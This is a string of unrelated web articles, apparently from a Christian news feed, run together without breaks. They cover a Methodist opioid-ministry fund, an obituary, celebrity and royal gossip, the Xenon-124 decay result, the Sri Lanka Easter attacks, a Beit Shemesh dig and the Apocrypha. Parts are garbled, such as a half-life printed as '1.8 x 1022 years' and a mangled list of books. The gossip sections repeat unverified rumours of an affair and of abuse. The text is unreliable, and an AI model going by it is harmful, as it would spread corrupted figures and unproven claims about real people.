9-12 in Lake Junaluska, NC. The funds will then be distributed through grants to churches that want to fight drug addiction in their communities, said Rev. Jones. Every year, Holston Conference collects more than $100,000 for a designated mission. In 2018, church members gave $110,191 for South Sudanese children and pastors living as refugees in Uganda. In 2017, church members gave $105,588 to provide education and care for children in Zimbabwe. Holston Conference leaders chose opioid addiction as their 2019 mission focus after surveyed church members indicated it as a disease affecting many families in their communities, according to Rev. Jones. The United Methodist Churchs Book of Discipline states: We commit ourselves to assisting those who suffer from abuse or dependence, and their families, in finding freedom through Jesus Christ and in finding good opportunities for treatment, for ongoing counseling and for reintegration into society. Several United Methodist churches in the Chattanooga/ Cleveland area already host recovery worship or related support groups, including Dunlap, First Copperhill, Grace (Soddy Daisy), Harrison, Hixson, McKendree (Jasper), Mountain View (Dayton), Ooltewah, Red Bank, St. Marks, Trenton, Tyner, Wauhatchie and White Oak. "The grants will not only support those ministries, but will also inspire other ways congregations can prevent drug abuse or support families struggling with addiction, such as providing transportation to attend support groups, hosting sober living activities, providing meals or child care for grandparents raising the children of addicted parents and partnering with law enforcement or hospitals to host unused prescription take-back events," officials said. Families in our church have been impacted by this epidemic, having lost loved ones and living with the sense of loss from a life cut short by substance abuse, said Eric Light, leader of the recovery ministry at Ooltewah United Methodist Church. Recovery @ Ooltewah is a resource for not only those who are addicted, but also their families, who struggle with how to help their loved ones without enabling their abuse. Holston Conference includes about 160,000 members in East Tennessee, Southwest Virginia and North Georgia. The organizations main office is located in Alcoa, Tn. Patti Henson Wier, 54, gracefully went to be with Jesus in her home surrounded by her loving family, following a long battle with pancreatic cancer. She was preceded in death by her father, Bob Henson. She is survived by her husband and soul mate of 32 years, Brad Wier; children, Scott Wier, Seth Wier and Rachel Wier; mother, Edna Earle Henson, of Chattanooga; brother, Jeff (Donna) Henson, Chickamauga; sister, Lori (Sid) Brooks, Signal Mountain; sister-in-law, Angela Wier, Birmingham; and beloved niece and nephews, Brent Henson, Taylor Brooks and Owen Brooks. Patti was born in Montgomery, on Oct. 31, 1964, to Bob and Edna Earle Henson. She moved to Chattanooga as a young child and graduated from East Ridge High School in 1983. She graduated from the University of Tennessee at Chattanooga in 1986 with a degree in business management. She then married the love of her life on November 15, 1986. They moved to Charlotte, NC for a few years before returning to Signal Mountain in 1994. She was an active member of Signal Mountain Presbyterian Church (SMPC) for over 25 years. Brad and Patti were actively involved in helping plant a new church in Southside called Resurrection Church. SMPC is one of the churches providing financial support to Resurrection. Her faith never wavered during a long journey of chemotherapy, radiation and surgery, including many trips to Baltimore and a lengthy stay at Johns Hopkins Hospital. During her illness, she continued to care for and minister to everyone who came into contact with her. She was most proud of her amazing children, who she treasured more than anything. Her biggest wish was to glorify God through her strength and resilience. Please join us on Sunday, April 28, at 2 p.m. at Signal Mountain Presbyterian to celebrate her life. Family visitation will follow in the fellowship hall. In lieu of flowers, please make memorial contributions to SMPC, Patti Wier Memorial for new church development. Its been four months since Miley Cyrus and Liam Hemsworth surprised everyone by tying the knot during a low-key ceremony. Since then, the couple has been spending a lot of time with their families, especially the Hemsworths. Chris Hemsworth, Miley Cyrus, Liam Hemsworth, Leonie Hemsworth, Samantha Hemsworth, and Luke Hemsworth attend the Avengers: Endgame premiere in Los Angeles, California. Photo by Charley Gallay/Getty Images for Disney Now that Cyrus is officially part of the family, many cant help but wonder if she gets along with everyone, including Chris Hemsworth? The Hemsworth family loves her Just like everyone else in the world, Chris Hemsworth and the rest of his family are big fans of Miley Cyrus. Since she started dating Liam Hemsworth back in 2009, the family knew then that she was a keeper. Over the past few years, members of the Hemsworth family have been able to get to know Miley and just cant get enough of her. In 2018, Chris Hemsworth stopped by SiriusXM Studios Sway in the Morning to share exactly what it is like having Cyrus as a sister-in-law. I always just expect her to put on a show, belt a few songs out. But she never does, Hemsworth joked. Im insisting consistently, When is the performance coming? But no, shes a lot of fun. With Chris Hemsworth busy filming the Marvel movies, he hasnt really had the time to spend with Miley Cyrus and his family. However, whenever he does have some free time, hes all about having some family fun. Miley has gone on vacations with Chris and his family A few days after Miley Cyrus and Liam Hemsworth tied the knot, the couple accompanied the rest of the Hemsworth family on a trip to Montana. Even though the trip was technically their honeymoon, Miley and Liam loved every second they got to spend with their loved ones. The Sun reported that Miley Cyrus and Liam Hemsworth were hosting Liams brothers Luke and Chris Hemsworth on a family ski trip, as well as Chris wife Elsa Pataky and their children: six-year-old India Rose, and four-year-old twin sons Tristan and Sasha. They did everything from hit the slopes to building snowmen in front of their rental home. After their excursion in Montana, have been spending as much time as they can with their family. Miley Cyrus and Liam Hemsworth recently attended the Avengers: Endgame premiere to show their support for their brother, Chris. Liam Hemsworth and Miley Cyrus attend the World Premiere of Walt Disney Studios Motion Pictures Avengers: Endgame at Los Angeles Convention Center on April 22, 2019, in Los Angeles, California |Photo by Jeff Kravitz/FilmMagic The couple even ran into some of their family members at the event. Of course, Liams brother, Avengers: Endgame star Chris Hemsworth was there with his wife Elsa. The eldest brother Luke Hemsworth also attended the premiere and his wife, as well as the siblings mom, Leonie Hemsworth. The entire extended family posed for a group photo, which just showed how close they are as a family. Anyone who remembers what Prince Harry was like when he was younger will understand that he gave his family a lot of worries and headaches. The prince was constantly in the news for his antics. However, Harry made a marvelous 180 in the past few years. Prince Harry was known as a wild child when he was young Prince Harry and his brother, Prince William | PA Images via Getty Images During his teenage years, news of Harry getting into trouble started surfacing. As a student, he was caught taking drugs and accused of enlisting a teachers help to cheat. A few years later, his character came into question when he was photographed in a Nazi costume. As if that werent enough, when Harry was in the military, he was also caught on tape using racial slurs. Although he apologized for both incidents, they no doubt left a stain on his image. At the turn of the decade, while William was settling down with his long-time girlfriend, Harry made headlines for his partying ways. Notably, in 2012, naked pictures of his wild night in Las Vegas surfaced in tabloid magazines around the world. For much of his youth, Harry was known for being in a relationship with Chelsy Davy, the daughter of a Zimbabwean billionaire. While Davy studied law in London and had a stint at a prestigious firm, she was mostly known for having a party girl image in the media not much different from Harrys reputation. The couple dated for several years before ultimately breaking up. Reportedly, it was because Davy did not want to bear the burdens of marrying into the royal family. Prince Harry has turned into a serious family man with Meghan Markle Harry fulfilled his dream of starting a family when he married Meghan Markle. She shares his interest in humanitarian work, which allows Harry to have some good influence around him. Far from his days of putting on offensive acts, Harry is known today for promoting equality and human rights alongside his wife. Now, Harry and Meghan are awaiting the birth of their second child. They welcomed their first child, Archie Harrison Mountbatten-Windsor, in May 2019. Since she began her maternity leave in March 2019 Meghan Markle has been tucked away in her new home Frogmore Cottage as she awaits the arrival of Baby Sussex. Though Prince Harry has been by her side Markles mother, Doria Ragland has only just arrived in the United Kingdom meaning Markle has spent a fair amount of time alone. Since most of Markles closest friends are in the United States and Canada, and she now lives about an hour away from her old home Kensington Palace where Prince William, Kate Middleton, and their kiddos live we wondered if Markle might get lonely. Luckilythe duchess has had a couple of visitors since moving to Frogmore. Has Kate Middleton visited Meghan Markle at Frogmore Cottage? When Meghan Markle and Prince Harry were engaged and living in their 2-bedroom apartment at Kensington Palace Markle would often visit Kate Middleton who was pregnant with Prince Louis and battling severe morning sickness hyperemesis gravidarum. Now, it looks like Middleton has returned the favor by visiting with Markle. Though Markle did not attend church service or Queen Elizabeths birthday celebration on Easter Sunday she did get some lovely visitors later in the day. Both Prince William and Kate Middleton visited Markle to see how she was doing in the final days of her pregnancy. They also got to check out the newly renovated Frogmore Cottage. Since the Cambridges royal duties have not slowed down and Markle shows no signs of going into labor they wanted to take her a housewarming gift and spend some quiet, child-free time with her as she rested. Are Meghan Markle and Kate Middleton friends? Meghan Markle and Kate Middleton dont have very much in common, but they are very friendly. Princess Dianas former butler Paul Burrell told Us Weekly, They are different women with different roles from different cultures. Kate knows that Meghan is no threat to her, and Meghan is mature enough to realize that her role is vastly different to Kates. On Commonwealth Day in mid-March 2018 Markles last public appearance before her maternity leave they publicly put rumors of their feud to rest with some sisterly PDA. Middleton greeted her very pregnant sister-in-law with a warm kiss on the cheek. However, a royal insider told Vanity Fair that it was all very deliberate. They explained, They might not have a huge amount in common, but Kate has no issue with Meghan. She wants them to get along, not just for Harrys sake but because two royal sisters-in-law at loggerheads wouldnt be good, and Kate knows that. For Kate, its about keeping their relationship professional and putting on a show of togetherness. There are no bad feelings, and I think Kate was keen to put an end to these rift rumors. She has no problem with Meghan, and she has made it clear to Meghan that shes there for advice or whatever Meghan might need. Check out The Cheat Sheet on Facebook! If you follow the royal family, youve likely heard of an alleged affair between Prince William and Kate Middletons best friend, Rose Hanbury. While the reports of the Duke of Cambridge cheating on his wife are still just rumors and the frenzy around it died down after the initial breaking news in March many social media users brought it back into circulation this week. From debates about whether or not he actually cheated on Kate Middleton to some fans accusing the British tabloids of painting a negative picture of Meghan Markle to distract from the allegations, Twitter fans have a lot to say about Prince Williams rumored affair, bringing the story back into circulation. Prince William | Richard Stonehouse/Getty Images Need a quick refresher on Prince William and Rose Hanburys alleged affair? Heres a timeline of how the rumors started. How did the rumors start? Back in March, The Sun published a story about how Kate Middleton and her best friend, Rose Hanbury had a big falling out. It is well known that Kate and Rose have had a terrible falling out, an unnamed source told the publication. They used to be close but that is not the case any more [sic], they added. While the initial reporting didnt claim an alleged affair, it did hint to the possibility which is likely what caused so many to discuss the rumor on social media after. William wants to play peacemaker so the two couples can remain friends, given they live so close to each other [in Norfolk and share many mutual friends. But Kate has been clear that she doesnt want to see them any more [sic] and wants William to phase them out, despite their social status, the source noted. Rose Hanbury | David M. Benett/Dave Benett/Getty Images for Chris Levine The Daily Mail comes to his defense Following The Suns report, The Daily Mail in a way came to Prince Williams defense with a rebuttal, which led some to believe that the rumors are in fact just lies. Both sides have considered legal action because none of the reports have been able to offer any evidence about what the so-called dispute is about, they have chosen to ignore it, the publication reported. The rumors are unpacked on Twitter In the wake of the alleged affair, some insiders took to Twitter to unpack the rumors. According to gossip reporter Giles Coren, the reason Kate and Hanbury sought legal action was because the affair is true. Yes, it is an affair, Coren Tweeted. I havent read the piece but I know about the affair. Everyone knows about the affair, darling. The tweet was deleted not long after its initial posting. Coren wasnt the only one with insight on the affair. According to reporter, Nicole Cliffe, The Suns initial report of the foursomes split sent waves through Kensington Palace because there might actually be some truth to it. Additionally, she believed that the affair might have something to do with Prince William and Prince Harrys alleged feud. Wills would absolutely have told Harry about the affair, Cliffe tweeted. And I think that Harry was like this is exactly what ruined our childhoods, she added. Her Twitter threat continued to discuss how Prince Harry would have been upset with his brother but, out of loyalty, he and Meghan Markle played along with feud rumors between the duchesses to mask what was really going on. Cliffe also pointed out that Rose Hanbury might have been the one sharing the news with the media, too. Prince Williams lawyers take action Following the Tweets and media coverage, Prince Williams rumored affair with Rose Hanbury seemed to die down a bit especially since Kensington Palace denied to comment and many werent sure about the credibility of some unnamed sources. However, his lawyers still stepped in to try to put a stop to any more coverage. According to The Daily Beast, his attorneys sent letters to various outlets. In addition to being false and highly damaging, the publication of false speculation in respect of our clients private life also constitutes a breach of his privacy pursuant to Article 8 of the European Convention to Human Rights, the letter read. Prince Harry steps out with Kate Middleton and the internet sparks rumors again Earlier this week, after Kate Middleton attended a royal engagement with her brother-in-law, Prince Harry, the allegations ramped up again this time, going viral. In honor of Anzac Day (a national day of remembrance of those that gave their lives for their country in Australia and New Zealand), Kate Middleton and Prince Harry stepped out together for a royal engagement. The real reason both of their spouses were missing? Meghan Markle is on maternity leave and Prince William was in New Zealand, visiting with Christchurch mosque shooting survivors. However, Prince Williams absence caused Twitter users to resurface the rumors, causing some viral conversations about the Duke of Cambridges alleged affair with Rose Hanbury. Prince William and Palace courtiers have done a deal with the British press. In exchange for staying quiet about his affair, they will allow them to smear and slander Meghan. The closer the affair is coming to get out, the more vicious they're becoming towards her. Maya (@Maya86B) April 24, 2019 This time around, Twitter users are accusing the British press of distracting from the affair with negative stories about Meghan Markle and they are not happy. Meghan Markle will breathe and the British media will start shaming her for no reason but when Prince William has an affair, they barely talk about it, one user noted. Prince William and Palace courtiers have done a deal with the British press. In exchange for staying quiet about his affair, they will allow them to smear and slander Meghan, another claimed (although the alleged deal is unconfirmed). Check out The Cheat Sheet on Facebook! David Eason has a lot of free time since getting the ax from MTV, and hes been using it to troll his former castmates. Eason, 30, has taken aim at several of the Teen Mom cast members in recent months. First, he took a shot at Leah Messer and her ex-husband Jeremy Calvert by commenting on Jeremys hair and Leahs previous substance abuse issue. Now, the North Carolina resident has set his sights on Jenelles Teen Mom nemesis, Kailyn Lowry. What did Eason have to say about Lowry? Kailyn and her three kids are apparently vacationing in Mexico at the moment. The mom was looking forward to the getaway and quickly posted a photo to let fans know the family of four was having a fabulous time. Clad in a black bikini, Lowry appears happy, healthy and gorgeous, but Eason seems to disagree. Eason, who married Jenelle Evans in 2017, took to Instagram to rant about Lowrys body. In the lengthy post, he called her overweight and took potshots at media outlets who called her stunning. He went on to say that there is nothing stunning about being overweight and went so far as to suggest that Lowry is unhealthy, according to Hollywood Life. Puerto Rico 16, St. Thomas 17, Jamaica 18, Mexico 19 pic.twitter.com/i1eHajK6Gk Kailyn Lowry (@KailLowry) April 23, 2019 Eason wasnt done with just his Instagram rant, though. He went on to post a picture of Jenelle clad in a bikini. Captioning the photo this is what you would call stunning, he was clearly taking aim at Lowry again, according to In Touch. Lowry claps back at David Eason Kail has long since tired of the hatred that Evans and her family have spewed at her. Just a few weeks back fans watched as Lowry seriously considered walking away from the franchise after Barbara, Jenelles mother threatened to get lit and Kill Kail on a social media video. Lowry has already refused to film anywhere near Evans and Eason. She even passed on attending a reunion in New York if the pair were going to be on the scene. I can change my body. He cant change who he is https://t.co/E9TjAQKssz Kailyn Lowry (@KailLowry) April 24, 2019 Lowry, however, seems to be taking the high road with this particular insult. The mother of three clapped back via Twitter telling her fans that she can change her body, but he cant change who he is. Eason has been at the center of debate among Teen Mom fans. Theres always two sides to every story, but mine will never be heard. Jenelle Eason (@PBandJenelley_1) April 24, 2019 Not only are many of his opinions disturbing, but viewers have long wondered if the gun-toting father of three is abusing his wife and children. Nathan Griffith, the father of Jenelles second child, has been battling for custody of his son. His biggest concern appears to be Eason. Important information You are currently not logged in to my.chemeurope.com . Your changes will in fact be stored however can be lost at all times. KNFs new building nears completion Numerous guests gathered in the district of Munzingen, Freiburg for the topping-out ceremony on March 15, 2019. Together with the construction companies and architects carrying out the project, the staff and management of KNF Neuberger GmbH celebrated the end of the second stage of construc ... > more The XENON1T detector is mainly used to detect dark matter particles deep underground. But a research team led by Zurich physicists, among others, has now managed to observe an extremely rare process using the detector the decay of the Xenon-124 atom, which has an enormously long half-life of 1.8 x 10^22 years. Around 1500 meters deep in the Italian Gran Sasso mountains is the underground laboratory LNGS (Laboratori Nazionali del Gran Sasso), in which scientists search for dark matter particles in a lab sealed off from any radioactivity interference. Their tool is the XENON1T detector, the central part of which consists of a cylindrical tank of about one meter in length filled with 3200 kilograms of liquid xenon at a temperature of -95 degrees Celsius. The rarest decay process ever measured Until now, researchers using this detector have not yet observed any dark matter particles, but they have now managed to observe the decay of the Xenon-124 atom for the first time. The half-life time measured i.e. the time span after which half of the radioactive atoms originally present in a sample have decayed away is over a trillion times longer than the age of the universe, which is almost 14 billion years old. The observed process is therefore the rarest process in the universe ever to be directly seen happening in a detector. The fact that we managed to directly observe this process demonstrates how powerful our detection method actually is also for rare physical phenomena which are not from dark matter, says Professor Laura Baudis, astroparticle physicist at the University of Zurich, who is one of the leading scientists on the XENON1T experiment. A phenomenon that is hard to demonstrate The observed process is called a double electron capture: The atomic nucleus of Xenon-124 consists of 54 positively charged protons and 70 neutral neutrons, which are surrounded by several atomic shells occupied by negatively charged electrons. In double electron capture, two protons in the nucleus simultaneously catch two electrons from the innermost atomic shell, transform into two neutrons, and emit two neutrinos. As two electrons are then missing in the atomic shell, the other electrons reorganize themselves, with the energy released being carried away by X-rays. However, this is a very rare process which is usually hidden by signals from the omnipresent normal radioactivity in the sealed-off environment of the underground laboratory, however, it has now been possible to observe the process. Calculating half-life time from light signals The X-rays from the double electron capture produced an initial light signal as well as free electrons in the liquid xenon of the XENON1T detector. The electrons were moved toward the upper part of the detector where they generated a second light signal. From the direction and the time difference between the two signals, the researchers could determine the exact position of the double electron capture and the energy released during the decay. From the 126 processes observed in total over the last two years, the physicists calculated the enormously long half-life of 1.8 x 1022 years for the atom Xenon-124. That is the slowest process ever measured directly. The new results show how well the XENON1T detector can detect very rare processes and reject background signals, says Laura Baudis. While two neutrinos are emitted in the double electron capture process, scientists can now also search for the so-called neutrino-less double electron capture which could shed light on important questions regarding the nature of neutrinos. The death toll from the Easter Sunday terrorist attacks in Sri Lanka continued to climb all week. As of Thursday, the official count was 359 dead. Reading and listening to reports about the attacks, its apparent that the number of victims in Sri Lanka isnt the only uncertainty. Many people, especially politicians and media outlets, seem to be having trouble deciding how to identify the victims. I dont mean individual names. I mean identifying what the large majority of victims had in common besides being Sri Lankan: They were Christians. The default identifier by left-leaning politicians on Twitter was Easter worshippers. Seeing a phrase that hardly anyone every uses repeated by so many was, well, just weird. In fact, when I first saw the trending Easter worshippers controversy blow up on Twitter, I wondered aloud if this was a redo of the made-up controversy over Starbucks red cups at Christmas from a few years ago. Like then, I wondered if a few isolated examples were being blown out of proportion. I dont know who originally decided to use the expression Easter worshipper, but it definitely caught on. So much so that it almost looks like there must have been a memo somewhere advising people to use the expression instead of calling the victims Christians. President Obama tweeted The attacks on tourists and Easter worshippers in Sri Lanka are an attack on humanity. Leaving aside the fact that Christians, not humanity writ large, were the ones attacked, its still an odd choice of words. Even odder was Secretary Hillary Clintons response: On this holy weekend for many faiths, we must stand united against hatred and violence. Im praying for everyone affected by todays horrific attacks on Easter worshippers and travelers in Sri Lanka. Holy weekend for many faiths? OK, Jews celebrated Passover on Saturday, but as the New York Times podcast The Daily pointed out from the start, the group behind the attacks targeted Catholic churches and attacked on Easter Sunday, which is holy to only one faith: Christianity. But even they struggled to identify the victims as Christians, preferring instead to call them non-Muslims on a number of occasions. And more than one NPR program I heard described how the rampant anti-Muslim environment of Sri Lanka contributed to the attacks. Even if we dismiss the odd victim nomenclature as an anomaly, many commentators talked as if it were the buildings instead of the people inside them, and their beliefs, that were the terrorists target. This seeming denial or at least ignoring the fact that victims were targeted because they were Christians is so odd that it prompts the question Why? As Ross Douthat of the New York Times helpfully explained, at least part of the answer is that many Western commentators have trouble seeing Christianity and Christians as anything but privileged. However true or not that may be of Western Christiansand now is not the time to debate thatthe events in Sri Lanka are, to paraphrase the opening line of Rick Warrens The Purpose-Driven Life, not about us. Its about, as Douthat put it, Christians like the murdered first communicants in Sri Lanka, or the jailed pastors in China, or the Coptic martyrs of North Africa, or any of the millions of non-Western Christians who live under constant threat of persecution. The reluctance to call them Christians trivializes their suffering; obviously, not in Gods sight or in ours, but in the eyes of the non-Christian world. Its as if they died because they were in the wrong place at the wrong time, like someone who gets run over by a bus while crossing the street. Whatever gripes you have with American Christians, in much of the world Christians live under the constant threat of persecution and, as we saw this past Sunday, even death. Why? Because they are Christians. As Ive said before, the failure to do more to protect them is a disgrace. And failing to call them by their proper name, Christians, adds gratuitous insult to already-grievous injury. BreakPoint is a Christian worldview ministry that seeks to build and resource a movement of Christians committed to living and defending Christian worldview in all areas of life. Begun by Chuck Colson in 1991 as a daily radio broadcast, BreakPoint provides a Christian perspective on todays news and trends via radio, interactive media, and print. Today BreakPoint commentaries, co-hosted by Eric Metaxas and John Stonestreet, air daily on more than 1,200 outlets with an estimated weekly listening audience of eight million people. Feel free to contact us at BreakPoint.org where you can read and search answers to common questions. John Stonestreet, the host of The Point, a daily national radio program, provides thought-provoking commentaries on current events and life issues from a biblical worldview. John holds degrees from Trinity Evangelical Divinity School (IL) and Bryan College (TN), and is the co-author of Making Sense of Your World: A Biblical Worldview. Publication date: April 26, 2019 Photo courtesy: Getty Images/ Preserving the past and paving the way for progress have come to a crossroads in Israel. Archaeologists discovered what they believe to be the ancient town of Beit Shemesh and what they found there overturned their assumptions about the fate of the ancient city. The discovery came as part of a project to excavate the area outside the modern city of Beit Shemesh before a new highway expansion comes through the area. The result is an exhibit entitled Highway through History, where significant finds from the dig will be on display. Also, the project will facilitate a discussion about how to balance the needs for preservation vs. modernization. Amanda Weiss, director of the Bible Lands Museum, explained the previous assumptions about the destruction of Beit Shemesh. According to CBN News, she said, We thought the Assyrians destroyed (it) and it took years for us (the Jewish people) to come back and that everyone left and no one was here. But its not true. And we know its not true because we have these finds. Yehuda Kaplan, curator of the Highway Through History exhibit, told CBN News that they now believe happened at the ancient site. What they understood from the finds is that after the city of Beit Shemesh was destroyed in the year 701 by Sennacherib the King of Assyria a very, very famous biblical and historical event a new settlement was found not at the top of the mound but on the slope, on the eastern slope of the mound. The site revealed several interesting facts about life in ancient Beit Shemesh. They discovered a large area dedicated to the production of olive oil, including oil presses, stone basins for crushing olives and storerooms and clay jars for storing the oil they produced. The Highway through History website explains that The olive oil industry was a primary economic source of Beit Shemesh at this time. The quantities of oil produced were so vast, exceeding local requirements, that they possibly served to supply the demands of the Assyrian empire. Also, one find suggests that the town was important to the administration of the Kingdom of Judah. The handles on jars the archaeologists discovered contained impressions with the inscription LMLK, which means belonging to the King. The impression also contained one of four place names. This means the king owned the contents of the jars and stored them in one of four locations used for agricultural storage. They also found carved figures of horses and women on the site. They found many Judean pillar figurines, which feature women with cylindrical bodies holding their breasts. Scholars believe they suggest the remains of a fertility cult in the area associated with the Canaanite goddess Asherah. The heads on some of the figurines were smashed, leading the curators of the exhibit to wonder if they could be a physical record of the religious reforms of kings Hezekiah and Josiah described in the book of Kings. Yehuda Gorvin, who headed the excavation, told CBN News that the highway would never have happened if they knew what was located at the site. He said, If the Israel Antiquities Authority would have known this is what was there, they wouldnt have allowed the development of the road there. Mayor Aliza Bloch said that balancing the needs of the present while preserving the past can be difficult. He told CBN News, Its complicated because I want to protect the road. I want to protect the Tel, the site and I need to find the way to protect both of them. Andrea Weiss summarized the dilemma archaeologists and Israeli politicians both face. She said, We walk the land and were walking on top of history. The progress that is required to build a new nation with housing and roads and infrastructure requires digging down and building new things. Scott Slayton writes at One Degree to Another. Photo courtesy: Virpeen Syp/Unsplash The word apocrypha comes from the Greek word meaning "hidden" or "secret." Originally, the term was reserved for books with content considered too sacred and grand to make accessible to the general public. Over time, "apocrypha" took on a more negative connotation, due to the questionable origins and doubtful canonicity of these books. Those who dont accept these books as canon call them the Apocrypha apocryphal. But those who do accept them call them the Deuterocanon or deuterocanonical books, meaning belonging to the second canon. History of the Apocrypha The Apocrypha in the Septuagint In the third century B.C., Jewish scholars translated the Hebrew Bible (the Old Testament) into Greek, resulting in the Septuagint. Several books were included in the Septuagint that were not considered divinely inspired by Jews but were included in the Jewish Talmud, which is a supplement, of sorts, or interpretation of the Hebrew Bible. That version incorporated a number of works that later, non-Hellenistic Jewish scholarship at the Council of Jamnia (AD 90) identified as being outside the authentic Hebrew canon. The Talmud separates these works as Sefarim Hizonim (Extraneous Books), according to Britannica. Jerome Doubts the Apocrypha In the late fourth century A.D., St. Jerome was tasked with translating the Greek Septuagint into Latin (to become the Latin Vulgate in 405), but he also based his translations on the original Hebrew in the Old Testament. Referring to the original Hebrew in translation was highly against common practice at the time and even discouraged. In the translation process, St. Jerome doubted that the apocryphal books were divinely inspired. According to Don Stewart on BlueLetterBible.org: Jerome explicitly denied that they should have the status as Scripture. Jerome said they were not books of the canon but rather books of the church. He believed they could be helpful to people, but he clearly stated his belief that they were not divinely authoritative. His assessment of the Apocrypha was ignored. The Apocrypha Printed in Bibles Despite doubts, the Council of Rome (382) affirmed the apocryphal books as canonical. And in response to the Reformation and Martin Luthers views on the Apocrypha, the Council of Trent (1546) further affirmed nearly all of Latin Vulgate as canonical, including most of the apocryphal books. Martin Luthers 1534 Bible was the first to separate the Apocrypha as an intertestamental section with a note explaining they are not divinely inspired. The Geneva Bible followed this example in 1599. The 1611 King James Bible also printed the Apocrypha, but it was removed in 1885. Why was the Apocrypha removed? Apocryphal books endorsed doctrine incompatible with the message of the Bible. 1. Giving money to atone for sins. Sirach 3:30 As water extinguishes a blazing fire, so almsgiving atones for sin. As water extinguishes a blazing fire, so almsgiving atones for sin. Tobit 4:10 For almsgiving delivers from death and keeps you from going into the Darkness. 2. Praying for the dead (and giving money to atone for their sins). 2 Maccabees 12:43-45 He also took up a collection, man by man, to the amount of two thousand drachmas of silver, and sent it to Jerusalem to provide for a sin offering. In doing this he acted very well and honorably, taking account of the resurrection. For if he were not expecting that those who had fallen would rise again, it would have been superfluous and foolish to pray for the dead. But if he was looking to the splendid reward that is laid up for those who fall asleep in godliness, it was a holy and pious thought. Therefore, he made atonement for the dead, so that they might be delivered from their sin. 3. Praying to saints in heaven and asking them for prayer. 2 Maccabees 15:12-16 What he [Maccabeus] saw was this: Onias [deceased at the time], who had been high priest, a noble and good man, of modest bearing and gentle manner, one who spoke fittingly and had been trained from childhood in all that belongs to excellence, was praying with outstretched hands for the whole body of the Jews. Then in the same fashion another appeared, distinguished by his gray hair and dignity, and of marvelous majesty and authority. And Onias spoke, saying, "This is a man who loves the family of Israel and prays much for the people and the holy cityJeremiah [deceased at the time], the prophet of God." Jeremiah stretched out his right hand and gave to Judas a golden sword, and as he gave it he addressed him thus: "Take this holy sword, a gift from God, with which you will strike down your adversaries." These are a few of the key issues that Martin Luther, John Calvin, and other reformers challenged during the Protestant Reformation. Apocryphal books were not recognized as the word of God by their writers, Christ, nor the Apostles. During the years of growth that the Greek culture enjoyed in Palestine, many books were written by the Jews. These books were never considered as Scriptures by Christ nor the Apostles, but the early church saw lessons that were profitable in some of these books. The Bible teacher Harry Ironside explained the difference: "But all of these were written ere the voice of prophecy was suspended; all the books now in our Bibles, and none other, were in the Bible loved, quoted and honored by the apostles, and endorsed as divinely-given by the Lord Jesus. He expressly refers to Daniel the prophet, and the sign of the prophet Jonah, in language that admits of no doubt as to the high plane on which He placed their writings. But in the Maccabean age (2nd century B.C.) and later there were other books of instructive character, making no claim of inspiration, which the Jews have always valued, and which the early Christians sometimes read in their meetings for the sake of the lessons they contained, though with no thought of putting them on a level with the Hebrew Scriptures or the Greek New Testament." This section was taken from "Lessons of these 400 Silent Years" by John Barnett and Discover the Book Ministries (used by permission). Which churches accept the Apocrypha books as canon? The Catholic Church Since the Council of Rome in 382 (and reaffirmed by the Council of Trent in 1546), these apocryphal (deuterocanonical) books below have been considered canonical by the Catholic Church: Tobit Judith Additional chapters of Esther and Daniel 1 st and 2 nd Maccabees and 2 Maccabees Wisdom of Solomon Sirach (or Wisdom of Jesus the Son of Sirach) Baruch The Eastern Orthodox Church The Eastern Orthodox Church also accepted the Apocrypha (Deuterocanon) as divinely inspired texts and canonical with the Old Testament. The Orthodox tradition includes the same list of books as the Catholic Church along with these below, which are considered canonical only by the Orthodox Church: 3 rd Maccabees Maccabees 1 st Esdras Esdras Prayer of Manasseh Psalm 151 The Anglican Communion and The Episcopal Church The 39 Articles, which is used by both the Anglican and Episcopalian Churches, expresses in section six rejection of the apocryphal books as divinely inspired. The document does, however, view the books as useful to the church: And the other Books (as [Jerome] saith) the Church doth read for example of life and instruction of manners; but yet doth it not apply them to establish any doctrine, according to section six of the 39 Articles. The United Methodist Church The United Methodist Church, like most other Protestant denominations, do not recognize the Apocrypha as authoritative Scripture. But they do allow apocryphal books to be read aloud during lectionaries in church services. The Lutheran Church The Apocrypha was included in Luthers 1534 Bible, which printed between the Old and New Testaments with this explanatory note: Apocrypha: These books are not held equal to the Sacred Scriptures, and yet are useful and good for reading. Sources A Dictionary for United Methodists, Apocrypha. Alan K. Waltz, 1991. BibleStudyTools.com, Apocrypha. Britannica.com, Apocrypha. The Editors of Encyclopedia Britannica, 2014. Chabad.org, What Is the Jewish Approach to the Apocrypha? Yehuda Shurpin. Evangelical Lutheran Synod, Apocrypha. KingJamesBibleOnline.org, Apocrypha Books. Orthodox Church in America, Canon of Scripture. Wikipedia.com, Jerome. Photo Credit: Pexels/Suzy Hazelwood On the evening of that first day of the week, when the disciples were together, with the doors locked for fear of the Jewish leaders, Jesus came and stood among them and said, Peace be with you! After he said this, he showed them his hands and side. The disciples were overjoyed when they saw the Lord. Again Jesus said, Peace be with you! As the Father has sent me, I am sending you. And with that he breathed on them and said, Receive the Holy Spirit. If you forgive anyones sins, their sins are forgiven; if you do not forgive them, they are not forgiven. -John 20:19-23 Easter Tragedy We finished our Easter Day Eucharist as usual and shared coffee and cake to celebrate the day of resurrection. There were smiles all around and laughter among the people gathered. After all, this Day of Resurrection, is the day that made us Christians. The resurrection of our Lord and Master is the highlight of the Christian calendar. It was nothing unusual for us to expect more crowds in church that day. For 40 days we prepared ourselves to celebrate this feast. I even spoke to the choir the day before about the significance of the Easter greeting and the use of the Gloria and the word hallelujah after a hiatus of 40 days. It is a joyful, glorious day. In fact, it is such an important festival, that according to the Church Calendar, the festival of Easter is celebrated for 50 days! Once we completed our rounds of greetings, I began to prepare to take Communion to the sick and invalid of my parish, as I had promised earlier. I went back home, checked my phone, and was surprised by the number of missed calls. Given the holiday, I thought they might have been calls to wish me a happy Easter. And then the messages started pouring in. Are you ok? and Are you safe? were repeated countless times. And with them, the tragic news of the attacks. As I reflect on these attacks, there have been eight blasts with at least 250 dead and over 500 injured and in hospitals. Three of the blasts were at churches that were celebrating this great feast of Christians. Not taking into account the risks involved, together with a lay-assistant of mine, I went on the back of a motorbike in my cassock visiting the sick and invalid to administer the Eucharist. While on my visit, I received a call from my Vicar informing me that all services had been cancelled until further notice and everyone was instructed not to gather in public places until the threat was assessed and dealt with. The severity of the incident was slowly beginning to dawn on me when the calls and the text messages did not cease. Every time I saw the pictures of the carnage and thought of the juxtaposed incident of the murdering of innocents while celebrating the resurrection of their Lord and their God, it only furthered my grief and confusion. Furthermore, this incident brought to memory personal experiences of violence and conflict that were buried deep within the people, especially in northern Sri Lanka, where I serve. It was this haunting image (below) that made me stop and consider what the Resurrection would mean to a Christian 